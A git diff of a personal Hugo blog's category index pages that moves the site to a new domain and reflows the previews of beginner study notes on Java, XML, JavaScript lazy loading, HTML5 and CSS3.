href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/categories/%E5%AD%A6%E4%B9%A0/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="学习"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/categories/%E5%AD%A6%E4%B9%A0/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="学习"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/categories/>Categories</a></div><h1>学习</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>JAVA基础学习笔记</h2></header><div class=entry-content><p>java基于java虚拟机（Java Virtual Machine，JVM）和java应用编程接口（Application Programming Interface，API）构成
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>学习 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/categories/%E5%AD%A6%E4%B9%A0/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/categories/%E5%AD%A6%E4%B9%A0/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="学习"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/categories/%E5%AD%A6%E4%B9%A0/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="学习"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/categories/>Categories</a></div><h1>学习</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>JAVA基础学习笔记</h2></header><div class=entry-content><p>java基于java虚拟机（Java Virtual Machine，JVM）和java应用编程接口（Application Programming Interface，API）构成
 java的跨平台得益于java虚拟机，只需要编译一次java程序，就可以在不同系统的java虚拟机上运行
 java编译成字节流，java虚拟机通过解析这些字节流来做的跨平台，编译完成得到的字节流可以在不同平台的java虚拟机上跑
 java分为Java SE、Java EE 和 Java ME。
@@ -18,7 +18,8 @@
 多行注释
 */
 /** *
-一样是多行注释 * */ java的变量的类型和JavaScript一样，变量分两种，基本类型变量和引用类型变量 java有8种基础类型，分别是整型（4种），字符型（1种），浮点型（2种），布尔型（1种）
+一样是多行注释 */
+java的变量的类型和JavaScript一样，变量分两种，基本类型变量和引用类型变量 java有8种基础类型，分别是整型（4种），字符型（1种），浮点型（2种），布尔型（1种）
 变量必须先定义，后赋值使用，例如：
 int a = 1;
 定义为int整数类型，名称为a，初始值为1
@@ -28,7 +29,7 @@
 int x = i; // 变量x的值为i，因为i的值为100，所以x的值为i
 整型
 整型类型：int，byte，short，long
-整型类型的数就是整数，整数默认为int，在数值后加上L就代表为long，例如：long abc = 123L;...</p></div><footer class=entry-footer><span title='2021-06-16 09:35:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;4 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to JAVA基础学习笔记" href=https://xiaochenabc123.github.io/posts/19/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>XML学习笔记</h2></header><div class=entry-content><p>xml中文全称为可扩展标记语言（Extensible Markup Language）
+整型类型的数就是整数，整数默认为int，在数值后加上L就代表为long，例如：long abc = 123L;...</p></div><footer class=entry-footer><span title='2021-06-16 09:35:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;4 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to JAVA基础学习笔记" href=https://chenjunlinabc.github.io/posts/19/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>XML学习笔记</h2></header><div class=entry-content><p>xml中文全称为可扩展标记语言（Extensible Markup Language）
 xml和html类似，但是xml是用来传输和存储数据的，xml大小写敏感，xml的标记是自定义的
 xml声明，该声明位在xml文档的第一行，结尾
 version属性表示xml的版本，encoding属性表示该xml文档的编码方式，standalone属性表示该文档是否为独立，no表示依赖于外部文档
@@ -64,7 +65,7 @@
 REQUIRED // 表示这个元素的这个属性是必须的
 IMPLIED // 表示这个元素可以包含这个属性，也可以不包含
 FIXED // 表示这个固定的属性默认值，不能将该属性的值设置为其他值，使用该说明时还需要提供一个默认值，如果XML没有定义该属性，那么其值就被自动设置为DTD定义的默认值
-默认值 // 和FIXED一样，不同的是，这个属性的值可以改变，如果在xml文档中设置了新的值，那么新的值会覆盖DTD定义的默认值</p></div><footer class=entry-footer><span title='2021-06-16 09:32:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to XML学习笔记" href=https://xiaochenabc123.github.io/posts/17/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>JavaScript-IntersectionObserver构造函数笔记</h2></header><div class=entry-content><p>IntersectionObserver是浏览器本身提供的构造函数，因此可能有一些老版本浏览器没有效果
+默认值 // 和FIXED一样，不同的是，这个属性的值可以改变，如果在xml文档中设置了新的值，那么新的值会覆盖DTD定义的默认值</p></div><footer class=entry-footer><span title='2021-06-16 09:32:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to XML学习笔记" href=https://chenjunlinabc.github.io/posts/17/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>JavaScript-IntersectionObserver构造函数笔记</h2></header><div class=entry-content><p>IntersectionObserver是浏览器本身提供的构造函数，因此可能有一些老版本浏览器没有效果
 该构造函数提供了一种异步的监测目标对象和祖先对象或者视口相交的方法
 var observe = new IntersectionObserver(callback, options)
 例如上面，该函数可以传入两个参数，callback是当可视性发生改变时执行回调函数，options是配置对象
@@ -86,22 +87,7 @@
 time：返回一个记录了从观测开始到交叉被触发时间的的时间戳，单位为毫秒
 如果是搞懒加载，那么intersectionRatio和isIntersecting是关键点
 例如：
-const lazyload = new IntersectionObserver((target)=>{
-// 实例化
-target.forEach((item) =>{
-if (item.intersectionRatio){
-// 当目标可视
-item.target.src = item.target.alt; // 进行属性值覆盖
-lazyload.unobserve(item.target) // 停止观测
-}
-})
-},{
-rootMargin: "100px" // 提前100px
-}); const imgs = document.querySelectorAll("img[alt]"); // 选择带有alt属性的img元素
-imgs.forEach((item) => {
-lazyload.observe(item)
-// 开始观测
-});</p></div><footer class=entry-footer><span title='2021-06-16 09:29:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to JavaScript-IntersectionObserver构造函数笔记" href=https://xiaochenabc123.github.io/posts/16/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>html5学习笔记</h2></header><div class=entry-content><p>HTML5是HTML标准的第5代标准，主要目的是语义化并且提供多媒体的嵌入
+const lazyload = new IntersectionObserver((target)=>{ // 实例化 target.forEach((item) =>{ if (item.intersectionRatio){ // 当目标可视 item.target.src = item.target.alt; // 进行属性值覆盖 lazyload.unobserve(item.target) // 停止观测 } }) },{ rootMargin: "100px" // 提前100px }); const imgs = document.querySelectorAll("img[alt]"); // 选择带有alt属性的img元素 imgs.forEach((item) => { lazyload.observe(item) // 开始观测 });</p></div><footer class=entry-footer><span title='2021-06-16 09:29:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to JavaScript-IntersectionObserver构造函数笔记" href=https://chenjunlinabc.github.io/posts/16/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>html5学习笔记</h2></header><div class=entry-content><p>HTML5是HTML标准的第5代标准，主要目的是语义化并且提供多媒体的嵌入
 HTML是什么？HTML全称为HyperTextMarkupLanguage，中文叫超文本标记语言，简称HTML
 而HTML5是一个标准，指的是第五代HTML标准
 HTML5主要的新特性：
@@ -134,42 +120,22 @@
 要注意可以改变样式的标签不一定是有居于语义的
 在没有出现语义元素前，几乎都是使用div或者span，加类加id
 没有语义的元素最适合当容器使用了
-常用的非语义元素有&lt;div>和&lt;span>
-常用的语义元素有&lt;header>和&lt;footer>
-&lt;header>：页眉，一般包括网站logo，主导航，搜索框等；
-&lt;nav>：导航，链接；
-&lt;main>：定义文章的主要内容，一个页面只能使用一次；
-&lt;article>：定义一份独立的内容，脱离其他内容或者其他部分，独立于文档的其余部分；
-&lt;section>：定义内容的节（段）；
-&lt;footer>：页脚，一般包含版权信息或者链接等；
-&lt;aside>：侧边栏，一般作为附属信息，例如导航索引，广告等；
-meta viewport
+常用的非语义元素有&lt;div>和&lt;span> 常用的语义元素有&lt;header>和&lt;footer> &lt;header>：页眉，一般包括网站logo，主导航，搜索框等； &lt;nav>：导航，链接； &lt;main>：定义文章的主要内容，一个页面只能使用一次； &lt;article>：定义一份独立的内容，脱离其他内容或者其他部分，独立于文档的其余部分； &lt;section>：定义内容的节（段）； &lt;footer>：页脚，一般包含版权信息或者链接等； &lt;aside>：侧边栏，一般作为附属信息，例如导航索引，广告等； meta viewport
 viewport 是指 web 页面上的可见区域
-&lt;meta name="viewport" content="width=device-width, initial-scale=1.0">
-device-width指设备的理想宽度,不同的设备 device-width 是不一样的
+&lt;meta name="viewport" content="width=device-width, initial-scale=1.0"> device-width指设备的理想宽度,不同的设备 device-width 是不一样的
 nitial-scale=1.0 是指默认缩放大小是1，也就是默认不缩放
 maximum-scale=1.0 是指最大缩放大小是1
 标签使用&lt;和>括起来，例如&lt;div>
 html标签大多都是成对出现的，分开始标签和结束标签，结束标签比开始标签多了个/
 例如： html不区分大小写。所以&lt;DIV>和&lt;div>作用一样。建议使用小写
-&lt;!DOCTYPE html>声明这是一个html5文件，声明位于&lt;html>前面
-&lt;html> 标识HTML文档的开始
-&lt;head>表明一些和html文档有关的信息，例如title
-&lt;body>html文档的主体
-&lt;!...</p></div><footer class=entry-footer><span title='2021-06-16 09:22:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;3 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to html5学习笔记" href=https://xiaochenabc123.github.io/posts/12/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>css3学习笔记</h2></header><div class=entry-content><p>盒子模型
+&lt;!DOCTYPE html>声明这是一个html5文件，声明位于&lt;html>前面 &lt;html> 标识HTML文档的开始 &lt;head>表明一些和html文档有关的信息，例如title &lt;body>html文档的主体 &lt;!...</p></div><footer class=entry-footer><span title='2021-06-16 09:22:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;3 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to html5学习笔记" href=https://chenjunlinabc.github.io/posts/12/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>css3学习笔记</h2></header><div class=entry-content><p>盒子模型
 盒模型在css中是用来封装html元素的，因为本质上来看像个盒子一样，所以叫盒模型或者盒子模型，术语叫box model
 外边距（margin）：一般用于控制同辈元素之间的间距
 边框（border）：在内边距和内容之外的边框
 内边距（padding）：内边框是用于控制内容的距离
 内容（content）：内容，一般为文本和图像
 例子：建立一个宽度为100px，10px的内边距，10px的外边距，10px的红色边框的盒子
-div{
-width: 100px;
-borde: 10px solid red;
-padding: 10px;
-margin: 10px;
-}
-top，bottom，left，right分别代表了上，下，左，右
+div{ width: 100px; borde: 10px solid red; padding: 10px; margin: 10px; } top，bottom，left，right分别代表了上，下，左，右
 或者padding: 上，右，下，左，只有一个数字就表示上，下，左，右都是这个数值
 有两个数值就是分别代表上下和左右，有三个数值表示上和左右和下
 这个盒子大小应该是内容的宽度+内边距+边框+外边距
@@ -196,7 +162,7 @@
 绝对定位元素 position (absolute、fixed)
 display 为 inline-block、table-cells、flex
 overflow 除了 visible 以外的值 (hidden、auto、scroll)
-BFC的特性：...</p></div><footer class=entry-footer><span title='2021-06-16 09:21:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;6 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to css3学习笔记" href=https://xiaochenabc123.github.io/posts/11/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://xiaochenabc123.github.io/categories/%E5%AD%A6%E4%B9%A0/page/8/>«&nbsp;Prev&nbsp;</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+BFC的特性：...</p></div><footer class=entry-footer><span title='2021-06-16 09:21:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;6 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to css3学习笔记" href=https://chenjunlinabc.github.io/posts/11/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://chenjunlinabc.github.io/categories/%E5%AD%A6%E4%B9%A0/page/8/>«&nbsp;Prev&nbsp;</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git "a/categories/\346\212\200\346\234\257/index.html" "b/categories/\346\212\200\346\234\257/index.html"
index 25392be4..b690dc16 100644
--- "a/categories/\346\212\200\346\234\257/index.html"
+++ "b/categories/\346\212\200\346\234\257/index.html"
@@ -1,68 +1,12 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>技术 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/categories/%E6%8A%80%E6%9C%AF/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/categories/%E6%8A%80%E6%9C%AF/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="技术"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/categories/%E6%8A%80%E6%9C%AF/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="技术"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/categories/>Categories</a></div><h1>技术</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用PWA技术</h2></header><div class=entry-content><p>PWA，Progressive Web App（渐进式web应用），PWA技术可以将web应用具备接近原生应用的特性和用户体验，无需额外安装，支持离线缓存，消息推送等功能
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>技术 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/categories/%E6%8A%80%E6%9C%AF/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml 